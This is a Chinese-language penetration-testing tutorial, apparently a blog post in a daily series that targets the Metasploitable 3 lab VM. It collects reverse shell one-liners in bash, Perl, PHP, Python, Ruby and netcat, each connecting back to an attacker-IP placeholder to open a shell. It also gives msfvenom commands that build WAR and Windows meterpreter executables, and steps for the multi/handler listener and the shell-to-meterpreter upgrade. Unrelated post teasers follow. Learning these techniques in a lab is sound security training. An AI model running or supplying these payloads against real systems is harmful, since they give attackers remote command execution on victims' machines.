Day22 - 针对 Metasploitable 3 进行渗透测试(3) - Msfvenom 与 multi/handler

复习 Revershell:在受害主机启动连线 shell,连接回攻击主机(会预先监听 port),

上一篇提到 shell 利用 -e 在连线的时候启动 cmd.exe 或是 /bin/sh,也可以透过 bash、python、PHP。

bash Reverse shell
攻击主机:nc -lvp 4444
受害主机:bash -i >& /dev/tcp/[攻击机IP]/[攻击机Port] 0>&1

Linux 系统将标准输入、输出分成三个:

  • 利用 bash -i 构造可互动式的连线
  • >& 标准输出与标准错误输出重新导向到透过 TCP 连线的目标
  • 最後 0>&1 将标准输入重新导向到标准输出,也就是将攻击者传来的指令,於受害者机进行执行

Perl Reverse shell
受害主机如果有安装 Perl 可以执行以下的指令。

perl -e 'use Socket;$i="[攻击机IP]";$p=[攻击机Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • -e 执行後面的指令

PHP Reverse shell
受害主机如果有安装 PHP 可以执行以下的指令。

php -r '$sock=fsockopen("[攻击机IP]",[攻击机Port]);exec("/bin/sh -i <&3 >&3 2>&3");'

或是有 PHP 撰写的网站後台,可执行 PHP 程序语言,可利用以下的 function。

$sock=fsockopen("[攻击机IP]",[攻击机Port]);exec("/bin/sh -i <&3 >&3 2>&3");

python Reverse shell
受害主机如果有 Python,也可以执行以下的指令。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击机IP]",[攻击机Port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby Reverse shell

  • 受害主机如果是 Linux,可执行以下的指令。
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[攻击机 IP]","攻击机port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • 受害主机如果是 Windows,可执行以下的指令。
ruby -rsocket -e 'c=TCPSocket.new("[攻击机IP]","攻击机port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

msfvenom

可以产生有用的 payload (.exe, .aspx, .war, .py)提供给攻击者上传到受害环境。

标准语法

msfvenom -p <PAYLOAD> <OPTIONS>

参数 说明
-p 指定 payload
-f 指定输出格式
-o 指定输出名称
LHOST 指定攻击主机的 IP
LPORT 指定攻击主机的 port

payload 格式
<OS>/<arch>/<payload>

查看payloads
msfvenom --list payloads

制作 jsp WAR Reverse shell
WAR 只得是 Web Application Resource 或 Web application ARchive
也就是可以部属在 Apache Tomcat 服务中的压缩档案

该 War 可建立 .jsp 档案的 WAR,jsp 为 Java Server Pages,类似 .php 或 .asp。以程序语言 java 为後端的网站,透过 Apache Tomcat 服务器软件执行。

以下的指令是透过 msfvenom 产生一个 payload 是 java/jsp_shell_reverse_tcp 并指定攻击机 IP 与 PORT,输出档案格式为 war,最後将产生的 binary 输出於根目录中的 tmp 资料夹,档案名称为 shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[攻击机IP] LPORT=[攻击机PORT] -f war > /tmp/shell.war

Windows binary reverse shell
针对受害主机如果为 Windows 也可以透过以下指令以目标 x86 Winodws Payload 为 windows/meterpreter/reverse_tcp 并指定攻击机 IP 与 PORT,输出档案格式为 exe,最後将产生的 binary 输出於根目录中的 tmp 资料夹,档案名称为 exploit.exe

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机port -f exe -o /tmp/exploit.exe

要在攻击主机开启 msfconsole 监听 port,以下为流程:
Metasploit 工具中的 multi/handler 模组,可以用来接收反弹的 shell ,比 netcat 和 socat 连线较稳定,通常用 use auxiliary/multi/handler 之後,进行额外的设定,如设定 PAYLOAD 、Listen IP、Listen port 等。

  1. msfconsole
    开启 Metasploit
  2. use exploit/multi/handler
    利用模组 multi handler
  3. set payload windows/meterpreter/reverse_tcp
    设定所使用的 payload
  4. set lhost 攻击机IP
    设定攻击主机的 IP
  5. set lport 攻击机port
    设定攻击主机的 Port
  6. run
    进行监听,当看到 [*] Started trverse TCP handler on 攻击机IP:攻击机port 表示已经开始监听。
  7. 受害主机执行 exploit.exe
  8. 当看到 [*] Command shell session 1 opemed (攻击机IP:攻击机port -> 受害主机IP:随机受害主机 port) at 2021-10-07 23:43:45 +0800 表示 Metasploit 已经收到来自受害主机的 Shell,此时可以执行指令。
  9. 如果返回的连线,於背景执行,也就是画面出现msf exploir(handler)可执行以下的指令,确认目前正在背景执行的连线,称为 job:
    • jobs
      查看目前正在背景执行的列表
    • jobs -K [job id]
      删除指定 job
    • jobs -h
      jobs 的帮助清单

Bash to Meterpreter shell
如果受害目标使用 bash 进行反向 shell,我们一样可以透过 Meterpreter。

攻击主机设定 msfconsole,并进行监听:

  1. msfconsole
    开启 Metasploit
  2. use exploit/multi/handler
    利用模组 multi handler
  3. set payload linux/x86/shell_reverse_tcp
    设定所使用的 linux payload
  4. set lhost 攻击机IP
    设定攻击主机的 IP
  5. set lport 攻击机port
    设定攻击主机的 Port
  6. run
    进行监听
  7. 受害主机,利用 bash 或是 nc:
    • bash:bash -i >& /dev/tcp/[攻击机IP]/4444 0>&1
    • nc:nc [攻击机IP] 4444 -e /bin/sh
  8. 如果 shell 没有出现於背景执行,可使用【CTRL+Z】,会出现Background session 1? [y/N],此时输入 y,让目前连线在背景执行。也可以执行 background,要确认目前连线可透过刚刚提到的 jobs 确认。
  9. 透过 shell_to_meterpreter 升级,让我们连线功能更多与更稳定。
    • 第一种方法:sessions -u [session id],优点在於自动执行模组内容,具体方法如二种方法。
    • 第二种方法:
      1. 设定工具 use post/multi/manage/shell_to_meterpreter
      2. 设定 session set session 1
      3. 执行升级 shell

查看 session 列表
sessions

跟指定的 session 互动
session -i [session ID]
`


<<:  Day 22 Context

>>:  那些被忽略但很好用的 Web API / IntersectionObserver

Unity自主学习(二十一):物件脚本(3)

昨天看过了最上面的"using"是什麽接着看下面的"Mehod&quo...

Vue [笔记] Dom元素无生成完毕、API来不及抓取之处理、传值方式

1. Dom元素无生成完毕,使用this.$nextTick 情境:Dom元素无生成 导致 refs...

铁人赛 Day1 -- 天哪~ 新手村的我到底该不该先学PHP !!

(以下有说错的,在劳烦各位大大告诉我,感谢各位学长姐) 其实一开始我在想说我的SQL资料库要用哪个语...

Day 05:专案01 - 超简单个人履历04 | CSS文字、区块属性

大家早安~昨天介绍完CSS的语法和选择器後,今天要来实际告诉大家究竟有哪些常见属性可以使用呢? CS...

子查询在MySQL中是怎麽执行的

以一个懵懂无知的青蛙来想像子查询的执行方式.. 如果是不相关子查询 mysql> select...